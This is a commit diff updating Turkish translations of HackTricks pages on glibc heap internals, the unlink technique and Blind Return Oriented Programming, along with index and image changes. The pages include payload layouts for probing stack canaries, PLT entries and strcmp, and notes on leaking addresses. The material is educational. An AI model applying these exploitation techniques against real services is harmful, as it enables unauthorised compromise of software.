Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 12 KiB |
BIN
.gitbook/assets/image (10) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 708 KiB |
Before Width: | Height: | Size: 708 KiB After Width: | Height: | Size: 287 KiB |
Before Width: | Height: | Size: 287 KiB After Width: | Height: | Size: 28 KiB |
Before Width: | Height: | Size: 28 KiB After Width: | Height: | Size: 216 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 33 KiB |
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 116 KiB |
Before Width: | Height: | Size: 116 KiB After Width: | Height: | Size: 418 KiB |
Before Width: | Height: | Size: 418 KiB After Width: | Height: | Size: 35 KiB |
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 62 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 271 KiB |
Before Width: | Height: | Size: 271 KiB After Width: | Height: | Size: 105 KiB |
Before Width: | Height: | Size: 105 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 13 KiB After Width: | Height: | Size: 461 KiB |
Before Width: | Height: | Size: 461 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 48 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 5.5 KiB |
Before Width: | Height: | Size: 5.5 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 112 KiB |
Before Width: | Height: | Size: 112 KiB After Width: | Height: | Size: 22 KiB |
Before Width: | Height: | Size: 22 KiB After Width: | Height: | Size: 35 KiB |
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 82 KiB After Width: | Height: | Size: 3.2 MiB |
Before Width: | Height: | Size: 3.2 MiB After Width: | Height: | Size: 10 KiB |
Before Width: | Height: | Size: 10 KiB After Width: | Height: | Size: 262 KiB |
Before Width: | Height: | Size: 262 KiB After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 56 KiB |
Before Width: | Height: | Size: 114 KiB After Width: | Height: | Size: 407 KiB |
Before Width: | Height: | Size: 407 KiB After Width: | Height: | Size: 284 KiB |
Before Width: | Height: | Size: 284 KiB After Width: | Height: | Size: 40 KiB |
Before Width: | Height: | Size: 40 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 146 KiB After Width: | Height: | Size: 175 KiB |
Before Width: | Height: | Size: 175 KiB After Width: | Height: | Size: 453 KiB |
Before Width: | Height: | Size: 453 KiB After Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 25 KiB After Width: | Height: | Size: 160 KiB |
BIN
.gitbook/assets/image (8) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 172 KiB |
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 210 KiB |
Before Width: | Height: | Size: 210 KiB After Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 25 KiB After Width: | Height: | Size: 3.1 KiB |
BIN
.gitbook/assets/image (9) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 1 MiB |
Before Width: | Height: | Size: 1 MiB After Width: | Height: | Size: 594 KiB |
Before Width: | Height: | Size: 594 KiB After Width: | Height: | Size: 26 KiB |
Before Width: | Height: | Size: 26 KiB After Width: | Height: | Size: 3.5 KiB |
Before Width: | Height: | Size: 216 KiB After Width: | Height: | Size: 4.1 KiB |
12
SUMMARY.md
|
@ -839,8 +839,16 @@
|
|||
* [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
|
||||
* [Industrial Control Systems Hacking](todo/industrial-control-systems-hacking/README.md)
|
||||
* [LLM Training - Data Preparation](todo/llm-training-data-preparation/README.md)
|
||||
* [5. Fine-Tuning for Classification](todo/llm-training-data-preparation/5.-fine-tuning-for-classification.md)
|
||||
* [4. Pre-training](todo/llm-training-data-preparation/4.-pre-training.md)
|
||||
* [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md)
|
||||
* [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md)
|
||||
* [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md)
|
||||
* [3. Token Embeddings](todo/llm-training-data-preparation/3.-token-embeddings.md)
|
||||
* [4. Attention Mechanisms](todo/llm-training-data-preparation/4.-attention-mechanisms.md)
|
||||
* [5. LLM Architecture](todo/llm-training-data-preparation/5.-llm-architecture.md)
|
||||
* [6. Pre-training & Loading models](todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md)
|
||||
* [7.0. LoRA Improvements in fine-tuning](todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md)
|
||||
* [7.1. Fine-Tuning for Classification](todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md)
|
||||
* [7.2. Fine-Tuning to follow instructions](todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md)
|
||||
* [Burp Suite](todo/burp-suite.md)
|
||||
* [Other Web Tricks](todo/other-web-tricks.md)
|
||||
* [Interesting HTTP](todo/interesting-http.md)
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
Heap, temelde bir programın **`malloc`**, `calloc` gibi fonksiyonları çağırarak veri talep ettiğinde verileri depolayabileceği yerdir. Ayrıca, bu bellek artık gerekli olmadığında **`free`** fonksiyonu çağrılarak kullanılabilir hale getirilir.
|
||||
|
||||
Görüldüğü gibi, bu bellek, ikili dosyanın bellekte yüklendiği yerin hemen sonrasındadır (bakınız `[heap]` bölümü):
|
||||
Görüldüğü gibi, bu bellek, ikili dosyanın belleğe yüklendiği yerin hemen sonrasındadır (bakınız `[heap]` bölümü):
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1241).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -15,8 +15,8 @@ Heap'te depolanması istenen bazı veriler için heap'ten bir alan tahsis edilir
|
|||
Alanı ayırmanın farklı yolları vardır, esasen kullanılan bin'e bağlıdır, ancak genel bir metodoloji şudur:
|
||||
|
||||
* Program, belirli bir miktar bellek talep ederek başlar.
|
||||
* Eğer chunk listesinde talebi karşılayacak kadar büyük bir alan varsa, bu kullanılacaktır.
|
||||
* Bu, mevcut chunk'ın bir kısmının bu talep için kullanılacağı ve geri kalanının chunk listesine ekleneceği anlamına gelebilir.
|
||||
* Eğer chunk'lar listesinde talebi karşılayacak kadar büyük bir alan varsa, bu kullanılacaktır.
|
||||
* Bu, mevcut chunk'ın bir kısmının bu talep için kullanılacağı ve geri kalanının chunk'lar listesine ekleneceği anlamına gelebilir.
|
||||
* Eğer listede mevcut bir chunk yoksa ancak tahsis edilmiş heap belleğinde hala alan varsa, heap yöneticisi yeni bir chunk oluşturur.
|
||||
* Eğer yeni chunk'ı tahsis etmek için yeterli heap alanı yoksa, heap yöneticisi çekirdekten heap'e tahsis edilen belleği genişletmesini ister ve ardından bu belleği yeni chunk'ı oluşturmak için kullanır.
|
||||
* Her şey başarısız olursa, `malloc` null döner.
|
||||
|
@ -25,32 +25,32 @@ Talep edilen **bellek bir eşiği geçerse**, **`mmap`** talep edilen belleği h
|
|||
|
||||
## Arenalar
|
||||
|
||||
**Çok iş parçacıklı** uygulamalarda, heap yöneticisi çöküşe yol açabilecek **yarış koşullarını** önlemelidir. Başlangıçta, yalnızca bir iş parçacığının heap'e erişebilmesini sağlamak için **küresel bir mutex** kullanılıyordu, ancak bu mutex kaynaklı darboğaz nedeniyle **performans sorunlarına** yol açıyordu.
|
||||
**Çoklu iş parçacıklı** uygulamalarda, heap yöneticisi çöküşe yol açabilecek **yarış koşullarını** önlemelidir. Başlangıçta, yalnızca bir iş parçacığının heap'e erişebilmesini sağlamak için **küresel bir mutex** kullanılıyordu, ancak bu mutex kaynaklı darboğaz nedeniyle **performans sorunlarına** yol açtı.
|
||||
|
||||
Bunu çözmek için, ptmalloc2 heap tahsis edici "arenalar" tanıttı; burada **her arena**, **kendi** veri **yapıları** ve **mutex** ile **ayrı bir heap** olarak işlev görür ve farklı arenaları kullandıkları sürece birden fazla iş parçacığının heap işlemleri gerçekleştirmesine olanak tanır.
|
||||
|
||||
Varsayılan "ana" arena, tek iş parçacıklı uygulamalar için heap işlemlerini yönetir. **Yeni iş parçacıkları** eklendiğinde, heap yöneticisi bunlara **ikincil arenalar** atar ve rekabeti azaltır. İlk olarak, her yeni iş parçacığını kullanılmayan bir arenaya bağlamaya çalışır, gerekirse yeni arenalar oluşturur; bu, 32-bit sistemler için CPU çekirdeklerinin sayısının 2 katı ve 64-bit sistemler için 8 katı ile sınırlıdır. Limit aşıldığında, **iş parçacıkları arenaları paylaşmak zorundadır**, bu da potansiyel rekabete yol açar.
|
||||
Varsayılan "ana" arena, tek iş parçacıklı uygulamalar için heap işlemlerini yönetir. **Yeni iş parçacıkları** eklendiğinde, heap yöneticisi bunlara **ikincil arenalar** atar ve rekabeti azaltır. İlk olarak, her yeni iş parçacığını kullanılmayan bir arenaya bağlamaya çalışır, gerekirse yeni arenalar oluşturur; bu, 32-bit sistemler için CPU çekirdeklerinin sayısının 2 katı ve 64-bit sistemler için 8 katı ile sınırlıdır. Sınır aşıldığında, **iş parçacıkları arenaları paylaşmak zorundadır**, bu da potansiyel rekabete yol açar.
|
||||
|
||||
Ana arenanın `brk` sistem çağrısını kullanarak genişlemesi gibi, ikincil arenalar `mmap` ve `mprotect` kullanarak "alt heap'ler" oluşturur ve çok iş parçacıklı işlemler için bellek yönetiminde esneklik sağlar.
|
||||
Ana arenanın `brk` sistem çağrısını kullanarak genişlemesinin aksine, ikincil arenalar `mmap` ve `mprotect` kullanarak "alt heap'ler" oluşturur ve çoklu iş parçacıklı işlemler için bellek yönetiminde esneklik sağlar.
|
||||
|
||||
### Alt Heap'ler
|
||||
|
||||
Alt heap'ler, çok iş parçacıklı uygulamalarda ikincil arenalar için bellek rezervleri olarak hizmet eder ve ana heap'ten ayrı olarak kendi heap bölgelerini büyütmelerine ve yönetmelerine olanak tanır. İşte alt heap'lerin başlangıç heap'inden nasıl farklılaştığı ve nasıl çalıştığı:
|
||||
Alt heap'ler, çoklu iş parçacıklı uygulamalarda ikincil arenalar için bellek rezervleri olarak hizmet eder ve ana heap'ten ayrı olarak kendi heap bölgelerini büyütmelerine ve yönetmelerine olanak tanır. İşte alt heap'lerin başlangıç heap'inden nasıl farklılaştığı ve nasıl çalıştığı:
|
||||
|
||||
1. **Başlangıç Heap'i vs. Alt Heap'ler**:
|
||||
* Başlangıç heap'i, programın ikili dosyasının hemen arkasında yer alır ve `sbrk` sistem çağrısını kullanarak genişler.
|
||||
* İkincil arenalar tarafından kullanılan alt heap'ler, belirli bir bellek bölgesini haritalayan `mmap` aracılığıyla oluşturulur.
|
||||
2. **`mmap` ile Bellek Rezervasyonu**:
|
||||
* Heap yöneticisi bir alt heap oluşturduğunda, `mmap` aracılığıyla büyük bir bellek bloğu rezerve eder. Bu rezervasyon hemen bellek tahsis etmez; yalnızca diğer sistem süreçlerinin veya tahsislerin kullanmaması gereken bir bölgeyi belirler.
|
||||
* Varsayılan olarak, bir alt heap için rezerve edilen boyut 32-bit süreçler için 1 MB ve 64-bit süreçler için 64 MB'dır.
|
||||
2. **`mmap` ile Bellek Tahsisi**:
|
||||
* Heap yöneticisi bir alt heap oluşturduğunda, `mmap` aracılığıyla büyük bir bellek bloğu ayırır. Bu tahsis hemen bellek ayırmaz; yalnızca diğer sistem süreçlerinin veya tahsislerin kullanmaması gereken bir bölgeyi belirler.
|
||||
* Varsayılan olarak, bir alt heap için ayrılan boyut 32-bit süreçler için 1 MB ve 64-bit süreçler için 64 MB'dır.
|
||||
3. **`mprotect` ile Aşamalı Genişleme**:
|
||||
* Rezerve edilen bellek bölgesi başlangıçta `PROT_NONE` olarak işaretlenir; bu, çekirdeğin bu alana fiziksel bellek tahsis etmesi gerekmediğini gösterir.
|
||||
* Alt heap'i "büyütmek" için, heap yöneticisi `mprotect` kullanarak sayfa izinlerini `PROT_NONE`'dan `PROT_READ | PROT_WRITE`'a değiştirir ve bu, çekirdeğin daha önce rezerve edilen adreslere fiziksel bellek tahsis etmesini sağlar. Bu adım adım yaklaşım, alt heap'in gerektiği gibi genişlemesine olanak tanır.
|
||||
* Ayrılan bellek bölgesi başlangıçta `PROT_NONE` olarak işaretlenir; bu, çekirdeğin henüz bu alana fiziksel bellek tahsis etmesi gerekmediğini gösterir.
|
||||
* Alt heap'i "büyütmek" için, heap yöneticisi `mprotect` kullanarak sayfa izinlerini `PROT_NONE`'dan `PROT_READ | PROT_WRITE`'a değiştirir ve bu, çekirdeğin daha önce ayrılan adreslere fiziksel bellek tahsis etmesini sağlar. Bu adım adım yaklaşım, alt heap'in gerektiği gibi genişlemesine olanak tanır.
|
||||
* Tüm alt heap tükendiğinde, heap yöneticisi tahsise devam etmek için yeni bir alt heap oluşturur.
|
||||
|
||||
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
Bu yapı, heap'in ilgili bilgilerini tahsis eder. Ayrıca, daha fazla tahsisten sonra heap belleği sürekli olmayabilir, bu yapı aynı zamanda bu bilgiyi de saklayacaktır.
|
||||
Bu yapı, heap'in ilgili bilgilerini tahsis eder. Ayrıca, daha fazla tahsisten sonra heap belleği sürekli olmayabilir, bu yapı bu bilgiyi de saklayacaktır.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
|
||||
|
||||
|
@ -87,10 +87,10 @@ Bu yapıdan bazı ilginç noktalar vardır (aşağıdaki C koduna bakın):
|
|||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||
```
|
||||
* `mchunkptr bins[NBINS * 2 - 2];` **küçük, büyük ve sıralanmamış** **bins**'lerin **ilk ve son chunk'larına** **işaretçiler** içerir (0 indeksinin kullanılmadığı için -2).
|
||||
* Bu nedenle, bu bins'lerin **ilk chunk'u** bu yapıya **geriye işaret eden bir işaretçi** ve bu bins'lerin **son chunk'u** bu yapıya **ileri işaretçi** bulunduracaktır. Bu, eğer **ana arenada bu adresleri sızdırabilirseniz** yapıya bir işaretçi elde edeceğiniz anlamına gelir.
|
||||
* Bu nedenle, bu bins'lerin **ilk chunk'ı** bu yapıya **geriye dönük bir işaretçi** ve bu bins'lerin **son chunk'ı** bu yapıya **ileri dönük bir işaretçi** içerecektir. Bu, eğer **ana arenada bu adresleri sızdırabilirseniz** yapıya bir işaretçi elde edeceğiniz anlamına gelir.
|
||||
* `struct malloc_state *next;` ve `struct malloc_state *next_free;` yapıları arena'ların bağlı listeleridir.
|
||||
* `top` chunk, temelde **tüm heap hatırlatma alanı** olan son "chunk"tır. `top` chunk "boş" olduğunda, heap tamamen kullanılmıştır ve daha fazla alan talep etmesi gerekir.
|
||||
* `last reminder` chunk, tam boyutlu bir chunk mevcut olmadığında ve bu nedenle daha büyük bir chunk bölündüğünde ortaya çıkar; burada kalan kısmın işaretçisi yer alır.
|
||||
* `last reminder` chunk, tam boyutlu bir chunk mevcut olmadığında ve bu nedenle daha büyük bir chunk bölündüğünde, kalan kısmın işaretçisinin buraya yerleştirildiği durumlardan gelir.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||
|
||||
|
@ -140,7 +140,7 @@ INTERNAL_SIZE_T max_system_mem;
|
|||
```
|
||||
### malloc\_chunk
|
||||
|
||||
Bu yapı, belirli bir bellek parçasını temsil eder. Farklı alanlar, tahsis edilmiş ve tahsis edilmemiş parçalar için farklı anlamlara sahiptir.
|
||||
Bu yapı, belirli bir bellek parçasını temsil eder. Farklı alanların, tahsis edilmiş ve tahsis edilmemiş parçalar için farklı anlamları vardır.
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
struct malloc_chunk {
|
||||
|
@ -161,9 +161,9 @@ Daha önce belirtildiği gibi, bu parçaların da bazı meta verileri vardır, b
|
|||
|
||||
Meta veri genellikle 0x08B olup, mevcut parça boyutunu belirtmek için son 3 biti kullanır:
|
||||
|
||||
* `A`: 1 ise bir alt yığın (subheap) içindedir, 0 ise ana arenadadır
|
||||
* `A`: 1 ise bir alt yığın, 0 ise ana arenadadır
|
||||
* `M`: 1 ise, bu parça mmap ile tahsis edilen bir alanın parçasıdır ve bir yığın parçası değildir
|
||||
* `P`: 1 ise, önceki parça kullanılmaktadır
|
||||
* `P`: 1 ise, önceki parça kullanımdadır
|
||||
|
||||
Sonra, kullanıcı verileri için alan ve nihayet 0x08B, parça mevcut olduğunda önceki parça boyutunu belirtmek için (veya tahsis edildiğinde kullanıcı verilerini depolamak için) kullanılır.
|
||||
|
||||
|
@ -395,7 +395,7 @@ return ptr;
|
|||
|
||||
### Hızlı Yığın Örneği
|
||||
|
||||
[https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) adresinden alınmış hızlı yığın örneği ama arm64 üzerinde:
|
||||
Hızlı yığın örneği [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) adresinden ama arm64'te:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
@ -470,19 +470,19 @@ return 0;
|
|||
|
||||
Önceki örneği hata ayıklarken, başlangıçta yalnızca 1 arena olduğunu görebiliriz:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Daha sonra, malloc'u çağıran ilk iş parçacığı çağrıldığında, yeni bir arena oluşturulur:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ve içinde bazı parçalar bulunabilir:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Bins & Bellek Tahsisleri/Serbest Bırakmaları
|
||||
|
||||
Bins'lerin ne olduğunu, nasıl organize edildiğini ve belleğin nasıl tahsis edildiğini ve serbest bırakıldığını kontrol edin:
|
||||
Bins'lerin ne olduğunu ve nasıl organize olduklarını ve belleğin nasıl tahsis edildiğini ve serbest bırakıldığını kontrol edin:
|
||||
|
||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||
|
|
|
@ -1,15 +1,15 @@
|
|||
# unlink
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
|
@ -67,7 +67,7 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
|||
|
||||
Check this great graphical explanation of the unlink process:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
|
||||
### Güvenlik Kontrolleri
|
||||
|
||||
|
@ -77,7 +77,7 @@ Check this great graphical explanation of the unlink process:
|
|||
|
||||
### Leak'ler
|
||||
|
||||
Unlinked bir chunk, tahsis edilen adresleri temizlemez, bu nedenle ona erişim sağlamak, bazı ilginç adresleri leak etmek mümkündür:
|
||||
Unlinked bir chunk, tahsis edilen adresleri temizlemez, bu nedenle ona erişim sağlandığında bazı ilginç adresleri leak etmek mümkündür:
|
||||
|
||||
Libc Leak'leri:
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# BROP - Blind Return Oriented Programming
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -41,7 +41,7 @@ Bu gadget, ROP gadget'ı tarafından ilginç bir şeyin çalıştırıldığın
|
|||
|
||||
Bu teknik, [**ret2csu**](ret2csu.md) gadget'ını kullanır. Bunun nedeni, bu gadget'a bazı talimatların ortasında erişirseniz **`rsi`** ve **`rdi`**'yi kontrol eden gadget'lar elde etmenizdir:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Bunlar gadget'lar olacaktır:
|
||||
|
||||
|
@ -50,7 +50,7 @@ Bunlar gadget'lar olacaktır:
|
|||
|
||||
Bu gadget'lar ile bir fonksiyon çağrısının **2 argümanını kontrol etmenin** mümkün olduğunu unutmayın.
|
||||
|
||||
Ayrıca, ret2csu gadget'ının **çok benzersiz bir imzası** olduğunu unutmayın çünkü yığından 6 kayıt alacak. Bu nedenle, şu şekilde bir zincir gönderme:
|
||||
Ayrıca, ret2csu gadget'ının **çok benzersiz bir imzası** olduğunu unutmayın çünkü yığından 6 kayıt alacak. Bu nedenle, şöyle bir zincir göndererek:
|
||||
|
||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||
|
||||
|
@ -64,9 +64,9 @@ ret2csu gadget'ının adresini bilerek, **`rsi` ve `rdi`'yi kontrol etmek için
|
|||
|
||||
### 6. PLT'yi bulma
|
||||
|
||||
PLT tablosu 0x400000 adresinden veya yığından **sızdırılan RIP adresinden** (eğer **PIE** kullanılıyorsa) aranabilir. Tablo **girişleri** **16B** (0x10B) ile **ayrılmıştır** ve bir fonksiyon çağrıldığında sunucu çökmez, hatta argümanlar doğru olmasa bile. Ayrıca, bir girişin adresini kontrol etmek **PLT + 6B** ile de çökmez çünkü bu ilk yürütülen koddur.
|
||||
PLT tablosu 0x400000 adresinden veya yığından **sızdırılan RIP adresinden** (eğer **PIE** kullanılıyorsa) aranabilir. Tablo **girişleri** **16B** (0x10B) ile ayrılmıştır ve bir fonksiyon çağrıldığında sunucu çökmez, hatta argümanlar doğru olmasa bile. Ayrıca, bir girişin adresini kontrol etmek **PLT + 6B** ile de çökmez çünkü bu ilk çalıştırılan koddur.
|
||||
|
||||
Bu nedenle, PLT tablosunu aşağıdaki davranışları kontrol ederek bulmak mümkündür:
|
||||
Bu nedenle, aşağıdaki davranışları kontrol ederek PLT tablosunu bulmak mümkündür:
|
||||
|
||||
* `'A' * offset + canary + rbp + ADDR + STOP` -> çökme yok
|
||||
* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> çökme yok
|
||||
|
@ -74,22 +74,22 @@ Bu nedenle, PLT tablosunu aşağıdaki davranışları kontrol ederek bulmak mü
|
|||
|
||||
### 7. strcmp bulma
|
||||
|
||||
**`strcmp`** fonksiyonu **`rdx`** kaydını karşılaştırılan stringin uzunluğuna ayarlar. **`rdx`**'nin **üçüncü argüman** olduğunu ve daha sonra programı sızdırmak için `write` kullanabilmek için **0'dan büyük** olması gerektiğini unutmayın.
|
||||
**`strcmp`** fonksiyonu **`rdx`** kaydını karşılaştırılan stringin uzunluğuna ayarlar. **`rdx`**'nin **üçüncü argüman** olduğunu ve daha sonra programı sızdırmak için `write` kullanabilmemiz için **0'dan büyük** olması gerektiğini unutmayın.
|
||||
|
||||
**`strcmp`**'nun PLT'deki yerini bulmak, artık fonksiyonların ilk 2 argümanını kontrol edebildiğimiz gerçeğine dayanarak mümkündür:
|
||||
**`strcmp`**'nun PLT'deki konumunu, artık fonksiyonların ilk 2 argümanını kontrol edebildiğimiz gerçeğine dayanarak bulmak mümkündür:
|
||||
|
||||
* strcmp(\<okunmayan addr>, \<okunmayan addr>) -> çökme
|
||||
* strcmp(\<okunmayan addr>, \<okunan addr>) -> çökme
|
||||
* strcmp(\<okunan addr>, \<okunmayan addr>) -> çökme
|
||||
* strcmp(\<okunan addr>, \<okunan addr>) -> çökme yok
|
||||
* strcmp(\<okunmayan adres>, \<okunmayan adres>) -> çökme
|
||||
* strcmp(\<okunmayan adres>, \<okunan adres>) -> çökme
|
||||
* strcmp(\<okunan adres>, \<okunmayan adres>) -> çökme
|
||||
* strcmp(\<okunan adres>, \<okunan adres>) -> çökme yok
|
||||
|
||||
Bunu, PLT tablosundaki her girişi çağırarak veya **PLT yavaş yolu** kullanarak kontrol edebiliriz; bu, temelde **PLT tablosundaki bir girişi + 0xb** (bu **`dlresolve`**'a çağrıda bulunur) çağırmak ve ardından yığında **sorgulamak istediğiniz giriş numarasını** (sıfırdan başlayarak) eklemektir:
|
||||
|
||||
* strcmp(\<okunmayan addr>, \<okunan addr>) -> çökme
|
||||
* strcmp(\<okunmayan adres>, \<okunan adres>) -> çökme
|
||||
